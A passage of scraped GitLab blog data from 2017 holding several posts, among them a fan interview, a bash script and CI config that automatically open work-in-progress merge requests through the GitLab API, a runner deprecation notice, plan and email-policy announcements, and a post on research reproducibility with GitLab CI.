}",{"title":34985,"description":34986,"authors":34991,"heroImage":34987,"date":34992,"body":34993,"category":813,"tags":34994},[19026],"2017-09-07","\n\nToday we're celebrating [GitLab Fan](https://gitlabfan.com/) and the great work they do to evangelize GitLab 🎉 Read on to learn more about the mysterious figure behind the Fan, and take a look around [our site](/) and see if you can spot any of their illustrations. Also, don't forget to visit us on Twitter to take part in our giveaway – you could get your hands on some awesome, custom GitLab Fan swag.  \n\n\u003C!-- more -->\n\nAt GitLab we're passionate about building a platform where everyone can contribute, and GitLab Fan is a great example of the work our community does, from creating [custom stickers for Telegram and Slack](https://gitlabfan.com/gitlab-stickers-for-telegram-and-slack-16639b2c126) to sharing [tutorials](https://gitlabfan.com/setting-up-your-own-fully-functional-gitlab-https-registry-ci-runners-79901ac617c0) and [takeaways from our culture](https://gitlabfan.com/7-examples-of-extreme-transparency-of-gitlab-e257796c9ef4).\n\nWhile GF's identity remains a mystery (Honest! If they're a GitLab team-member, they're undercover 🕵️), we did get a chance to ask them some questions:\n\n### What inspired you to launch GitLabFan.com?\n\nI used to work with GitLab a lot and I liked it, so I had a lot of thoughts I wanted to share with people.\n\n### Do you use GitLab for work or personal projects (or both)?\n\nMostly personal projects these days.\n\n### What kind of work do you do?\n\nI teach junior developers. By the way, I've started to work on [a course about GitLab CI](https://www.indiegogo.com/projects/learn-continuous-integration-with-gitlab-ci#/) ;)\n\n### Do you work for GitLab? (We have to ask!)\n\nNo, I don't :)\n\n### Have you ever thought about applying to work for GitLab?\n\nYup, I actually did that. But it was not a very serious intention, I did that for fun. Twice :)\n\n### If you could change or improve anything about GitLab, what would it be and why?\n\nI would love to see a built-in chat solution, in the same way that GitLab has built-in CI. That will save some time when you set up a new project, and I am also sure there would be some nice synergistic effects.\n\n**Thanks, GitLab Fan, for everything you do.**\n\n*We're giving away some specially designed GitLab Fan swag over on [Twitter](https://twitter.com/gitlab) – head there now to join in!*\n",[267,815],{"slug":34996,"featured":6,"template":678},"gitlab-fan-profile","content:en-us:blog:gitlab-fan-profile.yml","Gitlab Fan Profile","en-us/blog/gitlab-fan-profile.yml","en-us/blog/gitlab-fan-profile",{"_path":35002,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35003,"content":35009,"config":35014,"_id":35016,"_type":16,"title":35017,"_source":17,"_file":35018,"_stem":35019,"_extension":20},"/en-us/blog/how-to-automatically-create-a-new-mr-on-gitlab-with-gitlab-ci",{"title":35004,"description":35005,"ogTitle":35004,"ogDescription":35005,"noIndex":6,"ogImage":35006,"ogUrl":35007,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35007,"schema":35008},"How to automatically create a new MR on GitLab with GitLab CI","With this script, every time we push a commit, GitLab CI checks if the branch that commit belongs to already has an open MR and, if not, creates one.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679783/Blog/Hero%20Images/whats-next-for-gitlab-ci.jpg","https://about.gitlab.com/blog/how-to-automatically-create-a-new-mr-on-gitlab-with-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to automatically create a new MR on GitLab with GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Riccardo Padovani\"}],\n        \"datePublished\": \"2017-09-05\",\n      }",{"title":35004,"description":35005,"authors":35010,"heroImage":35006,"date":35011,"body":35012,"category":734,"tags":35013},[34234],"2017-09-05","\n\nAt [fleetster](https://www.fleetster.net/), we have our own instance of [GitLab](https://gitlab.com/) and we rely a lot on [GitLab CI](/solutions/continuous-integration/). How could it be otherwise? We are a small team, with a lot of different projects (only in last month, we had more than **13,000 commits** over **25 different projects**, and we are only 10 people – with myself working part time). Automating as many development steps as possible (from build to QA to deploy) is helping us a lot, but sometimes we write some code and then forget about it. This is a disaster! We have some bug fix or some new feature ready, but it is forgotten in some branch somewhere.\n\n\u003C!-- more -->\n\nThis is why we have a policy to push as soon as possible to open a new MR, mark it as WIP, and assign to ourselves; in this way GitLab will remind us we have an MR.\n\nYou need to do three steps to achieve that:\n\n* Push the code\n* Click on the link that appears on your terminal\n* Fill a form\n\nBut we are nerds. We are lazy. So one night, after a couple of beers, [Alberto Urbano](https://www.linkedin.com/in/alberto-urbano-047a4b19/) and I spent some hours to automate a task that requires 10 seconds.\n\nActually, the experience was quite fun, it was the first time we used GitLab APIs and we learned things we will apply to others scripts as well.\n\n![Image via Riccardo's blog](https://about.gitlab.com/images/blogimages/automating-tasks-expectation-versus-reality.png){: .shadow}\u003Cbr>\n*Image by Randall Munroe, [xkcd.com](https://imgs.xkcd.com/comics/automation.png)*\n\n### The script\n\nWith this script, every time we push a commit, GitLab CI checks if the branch that commit belongs to already has an open MR and, if not, it creates it. It then assigns the MR to you, and puts **WIP** in the title to mark it as a work in progress.\n\nIn this way you cannot forget about that branch, and when you’ve finished writing code on it, you just need to remove the WIP from the title and assign to the right person to review it.\n\nIn the end, this is the script we came out with (when you add to your project, remember to make it executable):\n\n```\n#!/usr/bin/env bash\n# Extract the host where the server is running, and add the URL to the APIs\n[[ $HOST =~ ^https?://[^/]+ ]] && HOST=\"${BASH_REMATCH[0]}/api/v4/projects/\"\n\n# Look which is the default branch\nTARGET_BRANCH=`curl --silent \"${HOST}${CI_PROJECT_ID}\" --header \"PRIVATE-TOKEN:${PRIVATE_TOKEN}\" | python3 -c \"import sys, json; print(json.load(sys.stdin)['default_branch'])\"`;\n\n# The description of our new MR, we want to remove the branch after the MR has\n# been closed\nBODY=\"{\n    \\\"id\\\": ${CI_PROJECT_ID},\n    \\\"source_branch\\\": \\\"${CI_COMMIT_REF_NAME}\\\",\n    \\\"target_branch\\\": \\\"${TARGET_BRANCH}\\\",\n    \\\"remove_source_branch\\\": true,\n    \\\"title\\\": \\\"WIP: ${CI_COMMIT_REF_NAME}\\\",\n    \\\"assignee_id\\\":\\\"${GITLAB_USER_ID}\\\"\n}\";\n\n# Require a list of all the merge request and take a look if there is already\n# one with the same source branch\nLISTMR=`curl --silent \"${HOST}${CI_PROJECT_ID}/merge_requests?state=opened\" --header \"PRIVATE-TOKEN:${PRIVATE_TOKEN}\"`;\nCOUNTBRANCHES=`echo ${LISTMR} | grep -o \"\\\"source_branch\\\":\\\"${CI_COMMIT_REF_NAME}\\\"\" | wc -l`;\n\n# No MR found, let's create a new one\nif [ ${COUNTBRANCHES} -eq \"0\" ]; then\n    curl -X POST \"${HOST}${CI_PROJECT_ID}/merge_requests\" \\\n        --header \"PRIVATE-TOKEN:${PRIVATE_TOKEN}\" \\\n        --header \"Content-Type: application/json\" \\\n        --data \"${BODY}\";\n\n    echo \"Opened a new merge request: WIP: ${CI_COMMIT_REF_NAME} and assigned to you\";\n    exit;\nfi\n\necho \"No new merge request opened\";\n```\n\n### GitLab CI\n\nThe variables used in the script are passed to it by our `.gitlab_ci.yml` file:\n\n```\nstages:\n    - openMr\n    - otherStages\n\nopenMr:\n    before_script: []   # We do not need any setup work, let's remove the global one (if any)\n    stage: openMr\n    only:\n      - /^feature\\/*/   # We have a very strict naming convention\n    script:\n        - HOST=${CI_PROJECT_URL} CI_PROJECT_ID=${CI_PROJECT_ID} CI_COMMIT_REF_NAME=${CI_COMMIT_REF_NAME} GITLAB_USER_ID=${GITLAB_USER_ID} PRIVATE_TOKEN=${PRIVATE_TOKEN} ./utils/autoMergeRequest.sh # The name of the script\n```\n\nAll these environment variables are set by GitLab itself, but the PRIVATE-TOKEN. A master of the project has to create it in its own profile and add to the project settings.\n\nTo create the personal token you can go to `/profile/personal_access_tokens` on your GitLab instance, and then you add to your pipeline following this guide.\n\n### Ways to improve\n\nThe script is far from perfect.\n\nFirst of all, it has two API calls, one to take the list of MR and one to take the default branch, to use it as target. Of course you can hardcode the value (in the end it shouldn’t change often), but hardcoding is always bad.\n\nAlso, it uses python3 to extract the name of the target branch – this is just one of many possible solutions, just use what is available on your system. Apart from that, the script doesn’t have any external dependency.\n\nThe other thing is how you need to set up the secret token to call the APIs. Luckily, GitLab’s developers are working on a [new way](https://gitlab.com/gitlab-org/gitlab-ce/issues/12729) to manage secret tokens.\n\n### Conclusion\n\nThis was a very small and very simple example about how much powerful Continuous Integration can be. It takes some time to set up everything, but in the long run it will save your team a lot of headache.\n\nIn fleetster we use it not only for running tests, but also for having automatic versioning of the software and automatic deploys to testing environments. We are working to automate other jobs as well (building apps and publish them on the Play Store and so on).\n\nSpeaking of which, **do you want to work in a young and dynamic office with me and a lot of other amazing people?** Take a look at the [open positions at fleetster](https://www.fleetster.net/fleetster-team.html)!\n\nKudos to the GitLab team (and other guys who help in their free time) for their awesome work!\n\nIf you have any question or feedback about this blog post, please drop me an email at riccardo@rpadovani.com :-)\n\nBye for now,\nA. & R.\n\nP.S: if you have found this article helpful and you’d like we write others, do you mind to help us reaching the Ballmer’s peak and buy us a [beer](https://rpadovani.com/donations)?\n\nThis post originally appeared on [*rpadovani.com*](https://rpadovani.com/open-mr-gitlab-ci).\n\n## About the Guest Author\n\nRiccardo is a university student and a part-time developer at [fleetster](http://www.fleetster.net/). When not busy with university or work, he likes to contribute to open-source projects.\n",[110,4772,696],{"slug":35015,"featured":6,"template":678},"how-to-automatically-create-a-new-mr-on-gitlab-with-gitlab-ci","content:en-us:blog:how-to-automatically-create-a-new-mr-on-gitlab-with-gitlab-ci.yml","How To Automatically Create A New Mr On Gitlab With Gitlab Ci","en-us/blog/how-to-automatically-create-a-new-mr-on-gitlab-with-gitlab-ci.yml","en-us/blog/how-to-automatically-create-a-new-mr-on-gitlab-with-gitlab-ci",{"_path":35021,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35022,"content":35027,"config":35033,"_id":35035,"_type":16,"title":35036,"_source":17,"_file":35037,"_stem":35038,"_extension":20},"/en-us/blog/old-runners-stop-working",{"title":35023,"description":35024,"ogTitle":35023,"ogDescription":35024,"noIndex":6,"ogImage":12013,"ogUrl":35025,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35025,"schema":35026},"Breaking change: Support ending for runners Prior to 9.0","With the removal of deprecated CI API v1, runners older than 9.0 will stop working with GitLab 10.0","https://about.gitlab.com/blog/old-runners-stop-working","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Breaking change: Support for Runners prior to 9.0 will be removed imminently\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabio Busatto\"}],\n        \"datePublished\": \"2017-09-04\",\n      }",{"title":35028,"description":35024,"authors":35029,"heroImage":12013,"date":35030,"body":35031,"category":736,"tags":35032},"Breaking change: Support for Runners prior to 9.0 will be removed imminently",[31287],"2017-09-04","\n\nThis month, when we release GitLab 10.0, **deprecated runners will not be able to communicate with the system anymore**, since they rely on an old version of the API that will be removed.\nAll runners with version 9.0 or newer will continue to work as usual without any modification.\nWe encourage all of our users who still have old runners deployed to **upgrade them to the latest version as soon as possible** to avoid any downtime.\n\n\u003C!-- more -->\n\nIn the GitLab 9.0 release post, we announced that previous runners have been [officially deprecated](/releases/2017/03/22/gitlab-9-0-released/#gitlab-runner-deprecation), and the support for them would have been eventually dropped in a future release.\nWith another specific [blog post](/releases/2017/04/10/upcoming-runner-changes-for-gitlab-dot-com/) back in April, we also announced that we migrated our shared runners on GitLab.com, and which are the great benefits in upgrading to the latest version, and we started a process to dismiss support for any version prior to 9.0.\n\n## When will this happen?\n\nGitLab 10.0 will be released on September, 22nd. Please consider that old runners connected to GitLab.com will stop working as soon as the first RC gets deployed to production, and this will happen around September 8th.\n**Be sure that you upgrade all your runners before that date**.\n\n## Which versions are affected?\n\nAll runners with a version older than 9.0 will stop working with GitLab 10.0, as they rely on old API that will be removed in this release. This means that you can continue using your old runners with any GitLab version up to 9.5, even if it is not suggested. Upgrading GitLab to 10.0 or above will require upgrading the runners as well.\n\n## How can I check if I have old runners still active?\n\nIf you are an Admin of a GitLab instance, you can find the list of shared runners under **Admin area ➔ Overview ➔ Runners**. Check the **Version** column to find if you have runners older than 9.0.\n\nIf you are Owner or Master for a project, go to **Settings ➔ CI/CD** (or **Settings ➔ Pipelines** if you are using the old navigation) and click on each of the runners you may find under **Specific Runners** to see the version.\n\n## How can I upgrade an old runner?\n\nRunners can be upgraded to the latest version following [these instructions](https://docs.gitlab.com/runner/#install-gitlab-runner). After the update, the runner should start working again as before, even better!\n",[774,736,676],{"slug":35034,"featured":6,"template":678},"old-runners-stop-working","content:en-us:blog:old-runners-stop-working.yml","Old Runners Stop Working","en-us/blog/old-runners-stop-working.yml","en-us/blog/old-runners-stop-working",{"_path":35040,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35041,"content":35046,"config":35051,"_id":35053,"_type":16,"title":35054,"_source":17,"_file":35055,"_stem":35056,"_extension":20},"/en-us/blog/gitlab-com-paid-features",{"title":35042,"description":35043,"ogTitle":35042,"ogDescription":35043,"noIndex":6,"ogImage":12013,"ogUrl":35044,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35044,"schema":35045},"Introducing exclusive features to GitLab.com Bronze, Silver and Gold plans","New features are coming exclusively to GitLab.com paid plans – find out why and how to upgrade.","https://about.gitlab.com/blog/gitlab-com-paid-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing exclusive features to GitLab.com Bronze, Silver and Gold plans\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2017-09-01\",\n      }",{"title":35042,"description":35043,"authors":35047,"heroImage":12013,"date":35048,"body":35049,"category":299,"tags":35050},[711],"2017-09-01","\n\nAs of today, we're making some changes to our GitLab.com subscription plans, with some exclusive features included in Bronze, Silver and Gold plans.\n\n\u003C!-- more -->\n\nHere's how the changes will affect:\n- [existing Silver and Gold plan users](#how-will-these-changes-affect-existing-silver-or-gold-plan-users)\n- [existing Bronze plan users](#how-will-it-affect-existing-bronze-plan-users)\n- [existing Free plan users](#how-will-it-affect-existing-free-plan-users)\n\nAt GitLab, we're committed to providing an integrated solution that supports the entire software development lifecycle at a price where everyone can contribute. We also want to keep improving and adding new features to GitLab.com. Earlier this year we [introduced paid subscriptions](/blog/introducing-subscriptions-on-gitlab-dot-com/) to help us do just that. Initially all Silver plan features were temporarily available to all Free and Bronze plan users. But as of today, each plan will now only have the correct features associated with its plan level. **Public projects will still have free access to all features and unlimited CI/CD**, as part of our continued commitment to open-source software.\n\n## FAQ\n\n### What's changed in the GitLab.com subscription plans?\n\nWe've introduced exclusive paid features to GitLab.com's Bronze, Silver, and Gold plans. Starting on September 1st, all new GitLab.com accounts will only have access to the features outlined in their plan. See our [GitLab.com pricing page](/pricing/#gitlab-com) for information on what features are available in each plan. We'll continue to add features to the plans with each new release.\n\n### How will these changes affect existing Silver or Gold plan users?\n\nThis change has no effect on teams/individuals who purchased the Silver or Gold GitLab.com plans.\n\n### How will it affect existing Free plan users?\n\nFor existing users on the Free plan, we've created a special Early Adopter Plan for you. This plan has all of the existing features available in our Silver plan, with the exception of additional CI minutes or premium support. Any group or user account created before September 1st will be put onto this plan for a year for free. While we will not add new paid features to this plan, you'll continue to enjoy powerful features, like multi-project pipelines and canary deployments, for the next year. After 12 months, you will get rolled back to the Free plan. You can upgrade at any time.\n\n### How will it affect existing Bronze plan users?\n\nFor existing users on the Bronze plan, you will continue to have access to Bronze features, but not the Silver features that were previously included. However, we will be adding new Bronze features for you in the coming releases, whereas users on the Early Adopter plan will need to upgrade to enjoy any new features we add in the future.\n\n### What about public projects?\n\nWe're still committed to open-source software, so all paid features are also available to all public projects on GitLab.com.\n\n### What if I want to upgrade my plan today?\n\nFor users that are interested in upgrading their plan, please visit the [GitLab.com pricing](/pricing/#gitlab-com) page and click on the **Buy Now** button. The benefit of upgrading your plan today is that you will get access to the upcoming GitLab.com features that will only be available in paid plans.\n\n### What if I have questions or comments about the change?\n\nIf you have questions or feedback about these changes, please let us know by [filling out this feedback form](https://docs.google.com/forms/d/e/1FAIpQLSdr-Top4N4oObYaj_5ShwcVNhysSheSfH_x-r_nENLBeRGtjQ/viewform).\n\n## What's included in the plans\n\n### Free Plan\n\nAt GitLab, we \u003Ci class=\"fas fa-heart\" aria-hidden=\"true\">\u003C/i> free and are committed to offering a free plan with unlimited private repos, unlimited contributors, and access to an end-to-end development solution. This is a great option for personal or small projects.\n\n### Bronze Plan\n\nFor teams that need access to more advanced workflow features like [multiple issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html#multiple-issue-boards), [issue boards with milestones](https://docs.gitlab.com/ee/user/project/issue_board.html#board-with-a-milestone), [multiple approvers](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html), [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) and more. The Bronze plan also includes next business day [support](/support/).\n\n### Silver Plan\n\nFor teams who need more robust DevOps capabilities. Features include everything in the Free and Bronze plans, plus [multi-project pipeline graphs](https://docs.gitlab.com/ee/ci/multi_project_pipelines.html), [deploy boards](https://docs.gitlab.com/ee/user/project/deploy_boards.html) and [canary deployments](https://docs.gitlab.com/ee/user/project/deploy_boards.html#canary-deployments). Silver plan users get 10,000 CI minutes and 24/7 emergency support.\n\n### Gold Plan\n\nGold users have access to all Free, Bronze and Silver features, plus 50,000 CI pipeline minutes per month on our shared runners. This is great for teams with heavy CI/CD usage.\n\nSee [our pricing page](/pricing/#gitlab-com) for a full list of features included in each plan.\n",[736,676],{"slug":35052,"featured":6,"template":678},"gitlab-com-paid-features","content:en-us:blog:gitlab-com-paid-features.yml","Gitlab Com Paid Features","en-us/blog/gitlab-com-paid-features.yml","en-us/blog/gitlab-com-paid-features",{"_path":35058,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35059,"content":35065,"config":35070,"_id":35072,"_type":16,"title":35073,"_source":17,"_file":35074,"_stem":35075,"_extension":20},"/en-us/blog/email-opt-in-policy-announcement",{"title":35060,"description":35061,"ogTitle":35060,"ogDescription":35061,"noIndex":6,"ogImage":35062,"ogUrl":35063,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35063,"schema":35064},"New email policy: Let us know if you want to hear from us!","We're changing our email policy, and you'll only hear from us if you explicitly opt in.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683564/Blog/Hero%20Images/email-policy-change.jpg","https://about.gitlab.com/blog/email-opt-in-policy-announcement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New email policy: Let us know if you want to hear from us!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2017-08-31\",\n      }",{"title":35060,"description":35061,"authors":35066,"heroImage":35062,"date":35067,"body":35068,"category":299,"tags":35069},[711],"2017-08-31","\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-info\">\n\n**Note from September 30, 2018: Email policy has been updated**\n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\nAt GitLab, we strive to communicate with people in a way that is beneficial to them. Most of our email marketing communications follow an explicit opt-in policy, although at times, we may communicate via email to people who have not explicitly opted in. We do this to offer something of value (e.g. an invitation to a workshop, dinner, the opportunity to meet an industry leader, etc. – not an email inviting you to read a blog post). We always include the unsubscribe link in our communications and we respect the unsubscribe list.\n\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n\nWith [GitLab 9.5](/releases/2017/08/22/gitlab-9-5-released/) we introduced a change to our email policy. If you want to keep hearing from us (we hope you do!) you'll need to opt in by visiting the [subscription center](https://page.gitlab.com/SubscriptionCenter.html).\n\n\u003C!-- more -->\n\nIn the past, signing up for GitLab.com opted you in automatically to a subscription to our newsletter. Many of our users read and enjoy it, but we want to give you a choice, so we're changing our policy to send communication with your explicit opt-in only. With this change, when you sign up or visit your subscription center, you'll be able to see all your options and have full control over what types of messages you receive from us*.\n\n![New email subscription boxes](https://about.gitlab.com/images/blogimages/email-policy-opt-in.png){: .shadow}\n\nNow you can specify that you want to hear about upcoming events or webcasts, or be kept in the know with security alerts. Tick as many or as few boxes as suits you.\n\n*You may still receive system emails associated with your account or GitLab instance\n{: .note}\n\n\"[Muriwai, New Zealand](https://unsplash.com/@mathyaskurmann?photo=fb7yNPbT0l8)\" by [Mathyas Kurmann](https://unsplash.com/@mathyaskurmann) on Unsplash\n{: .note}\n",[736,676],{"slug":35071,"featured":6,"template":678},"email-opt-in-policy-announcement","content:en-us:blog:email-opt-in-policy-announcement.yml","Email Opt In Policy Announcement","en-us/blog/email-opt-in-policy-announcement.yml","en-us/blog/email-opt-in-policy-announcement",{"_path":35077,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35078,"content":35084,"config":35090,"_id":35092,"_type":16,"title":35093,"_source":17,"_file":35094,"_stem":35095,"_extension":20},"/en-us/blog/gitlab-and-reproducibility",{"title":35079,"description":35080,"ogTitle":35079,"ogDescription":35080,"noIndex":6,"ogImage":35081,"ogUrl":35082,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35082,"schema":35083},"How GitLab can help in research reproducibility","NYU reproducibility librarian Vicky Steeves shares why GitLab is her choice for ongoing collaborative research, and how it can help overcome challenges with sharing code in academia.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672928/Blog/Hero%20Images/gitlab-and-reproducibility.jpg","https://about.gitlab.com/blog/gitlab-and-reproducibility","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab can help in research reproducibility\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vicky Steeves\"}],\n        \"datePublished\": \"2017-08-25\",\n      }",{"title":35079,"description":35080,"authors":35085,"heroImage":35081,"date":35087,"body":35088,"category":813,"tags":35089},[35086],"Vicky Steeves","2017-08-25","\nGitLab is a great platform for active, ongoing, collaborative research. It enables folks to work together easily and share that work in the open. This is especially poignant given the problems in sharing code in academia, across time and people.\n\n\u003C!-- more -->\n\n![phd-code-comic](https://phdcomics.com/comics/archive/phd031214s.gif)\n\nIt's no surprise that GitLab, a platform for collaborative coding and Git repository hosting, has features for reproducibility that researchers can leverage for their own and their communities’ benefit.\n\n### What exactly is reproducibility?\n\nReproducibility is a core component in a variety of work, from software engineering to research. For software engineers, the ability to reproduce errors or functionality is key to development. For researchers, reproducibility is about independent verification of results/methods, to build on top of previous work, and to increase the impact, visibility, and quality of research. Y’know. That Sir Isaac Newton quote in every reproducibility presentation ever: \"If I have seen further, it is by standing on the shoulders of giants.\"\n\nLike all things, reproducibility exists on a spectrum. I like Stodden et al’s definitions from the [2013 ICERM report](http://stodden.net/icerm_report.pdf), so I’ll use those:\n\n| ICERM Report Definitions | Potential Real-World Examples |\n|:-----------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------|\n| Reviewable Research: Sufficient detail for peer review and assessment                            | The code and data are openly available |\n| Replicable Research: Tools are available to duplicate the author’s results using their data    | The tools (software) used in the analysis are freely available for others to confirm results                                   |\n| Confirmable Research: Main conclusions can be attained independently without author’s software | Others can reach the conclusion using similar tools, not necessarily the same as the author, or on a different operating system |\n| Auditable Research: Process and tools archived such that it can be defended later if necessary   | The tools, environment, data, and code are put into a preservation-ready format                                                |\n| Open/Reproducible Research: Auditable research made openly available                           | Everything above is made available in a repository for others to examine and use                                               |\n\nThe last bullet there is the goal – open and reproducible research. Releasing code and data are key to open research, but not necessarily enough for reproducibility. This is where the concept of computational reproducibility becomes important, where whole environments are captured. You could also look at it this way:\n\n![reproducibility-pyramid](https://osf.io/8rx9y/download)\n\n### How can GitLab help?\n\nThere are a few solutions out there, including containers (such as Docker or Singularity) for active research, and [o2r](http://o2r.info/) and [ReproZip](https://reprozip.org) for capturing and reproducing completed research. For this post, I’m going to focus on active research and containers.\n\nI like GitLab for research reproducibility because it makes working together simple, and seamless. There’s no hacking together 100 different third-party services. GitLab has hosting, LFS, and integrated Continuous Integration for free, for both public and private repositories! Everything is integrated in a single GitLab repository which, if made publicly available, can enable secondary users to reproduce results in a more streamlined fashion. You can also keep these private to a group – you control the visibility of everything in one repository in one place, as opposed to updating permissions across multiple services.\n\nThere are a few key features that set GitLab apart when it comes to containers and reproducibility. The first is that GitLab doesn’t use a third-party service for continuous integration. It’s shipped with CI runners which can use Docker images from GitLab’s registry. Basically, you can use the Docker Container Registry, a secure, private Docker registry, to choose a container that GitLab CI uses to run each job in a separate and isolated container.\n\n![gitlab-ci-repro](https://about.gitlab.com/images/ci/arch-1.jpg)\n\nIf you don’t feel like using the GitLab registry, you can also use images from DockerHub or a custom Docker container you’re already using locally. These can be integrated with GitLab CI, and if made public, any secondary users can use it as well!\n\n### Let's look at an example\n\nThis process is set up in a single file, a `.gitlab-ci.yml`. Another feature that makes my life easier – GitLab can syntax-check the CI config files! The `.gitlab-ci.yml` file describes the pipelines and stages, each of which has a different function and can have its own tags, produce its own artifacts, and reuse artifacts from other stages. These stages can also run in parallel if needed. Here’s an example of what a basic config file looks like with R:\n\n```\nimage: jangorecki/r-base-dev\ntest:\n  script:\n    - R CMD build . --no-build-vignettes --no-manual\n    - PKG_FILE_NAME=$(ls -1t *.tar.gz | head -n 1)\n    - R CMD check \"${PKG_FILE_NAME}\" --no-build-vignettes --no-manual --as-cran\n```\n\nAnd here’s an example of building a website using the GitLab and the static site generator, Nikola:\n\n```\nimage: registry.gitlab.com/paddy-hack/nikola:7.8.7\ntest:\n  script:\n  - nikola build\n  except:\n  - master\n\npages:\n  script:\n    - nikola build\n  artifacts:\n    paths:\n    - public\n  only:\n  - master\n```\n\nIt’s also worth noting that you can use different containers per step in your workflow, if you outline it in your .gitlab-ci.yml. If your data collection script runs in one environment but your analysis script needs another, that’s perfectly fine using GitLab, and others have the information to reproduce it easily! Another feature that puts GitLab apart is that a build of one project can trigger a build of another – AKA, multi-project pipelines. For those of you working with big data, you can automatically spin up and down VMs to make sure your builds get processed immediately with GitLab’s CI as well.\n\nHere are some other great resources and examples of using GitLab to make research more reproducible:\n\n+ [Gitlab-CI for R packages](https://gitlab.com/jangorecki/r.gitlab.ci)\n+ [Blog Post explaining GitLab + reproducibility - Jon Zelner](http://www.jonzelner.net/statistics/make/docker/reproducibility/2016/05/31/reproducibility-pt-1/)\n+ [GitLab repo accompanying blog post - Jon Zelner](https://gitlab.com/jzelner/reproducible-stan)\n+ [Continuous Integration with Gitlab - Tony Wildish](https://www.nersc.gov/assets/Uploads/2017-02-06-Gitlab-CI.pdf)\n\nBeyond reproducibility, there are a lot of features that make GitLab an ideal place for me to work and organize my research. I’d urge folks to look at the [feature list](/pricing/feature-comparison/) and see how they can get started!\n\n## About the Guest Author\n\nVicky Steeves is the Librarian for Research Data Management and Reproducibility at New York University, a dual appointment between the Division of Libraries and Center for Data Science. In this role, she works supporting researchers in creating well-managed, high quality, and reproducible research through facilitating use of tools such as ReproZip. Her research centers on integrating reproducible practices into the research workflow, advocating openness in all facets of scholarship, and building/contributing to open infrastructure.\n\n“[research](https://www.flickr.com/photos/alovesdc/3464555556/)” by [a loves dc](https://www.flickr.com/photos/alovesdc/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/legalcode)\n{: .note}\n",[815,2368,4772],{"slug":35091,"featured":6,"template":678},"gitlab-and-reproducibility","content:en-us:blog:gitlab-and-reproducibility.yml","Gitlab And Reproducibility","en-us/blog/gitlab-and-reproducibility.yml","en-us/blog/gitlab-and-reproducibility",{"_path":35097,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35098,"content":35104,"config":35109,"_id":35111,"_type":16,"title":35112,"_source":17,"_file":35113,"_stem":35114,"_extension":20},"/en-us/blog/gitlab-zapier-integration",{"title":35099,"description":35100,"ogTitle":35099,"ogDescription":35100,"noIndex":6,"ogImage":35101,"ogUrl":35102,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35102,"schema":35103},"There's a Zap for that. Automate your workflows with GitLab + Zapier","With Zapier's GitLab integration you can create new Issues directly from within Gmail, get Slack notifications for new Issues and much more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671323/Blog/Hero%20Images/zapier-gitlab-integration.jpg","https://about.gitlab.com/blog/gitlab-zapier-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"There's a Zap for that. Automate your workflows with GitLab + Zapier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-08-23\",\n      }",{"title":35099,"description":35100,"authors":35105,"heroImage":35101,"date":35106,"body":35107,"category":299,"tags":35108},[19026],"2017-08-23","\n\nZapier has just launched an integration with GitLab – hurrah! With a host of Zap templates, like triggering tweets for new commits, Slack messages when Merge Requests are opened or closed, or creating new Issues from starred emails in Gmail, this is great news for teams wanting to automate their workflows and collaborate more effectively.\n\n\u003C!-- more -->\n\nIf you're not a Zapier user yet, essentially it's a tool you can use to create integrations between your other tools which don't generally talk to each other, including Gmail, Slack, Twitter, Trello, Asana and now [GitLab](https://zapier.com/zapbook/gitlab/)! It's endlessly customizable, as you can create any integration you want using the \"Make a Zap\" button on the Zapier homepage. [See how to get started](https://zapier.com/zapbook/updates/1165/gitlab-integrations/?rebuild=yes).\n\nOur UX Lead [Sarrah Vesselov](/company/team/#SVesselov) gave the integration a spin and had this to say:\n\n>Overall, the number of pre-set zaps for GitLab was excellent. Trello, Asana, Gmail, Twitter integrations were easy to set up and are helpful for a number of potential workflows. There is great opportunity to use Issues and MRs to trigger automated workflows and increase collaboration and productivity for teams.\n\nCurious about those pre-set Zaps? These are our favorites:\n\n\u003Cscript src=\"https://zapier.com/zapbook/embed/widget.js?services=gitlab&container=true&limit=10\">\u003C/script>\n\nYou can [browse popular Zaps for GitLab here](https://zapier.com/zapbook/gitlab/). Missing something? [Create your 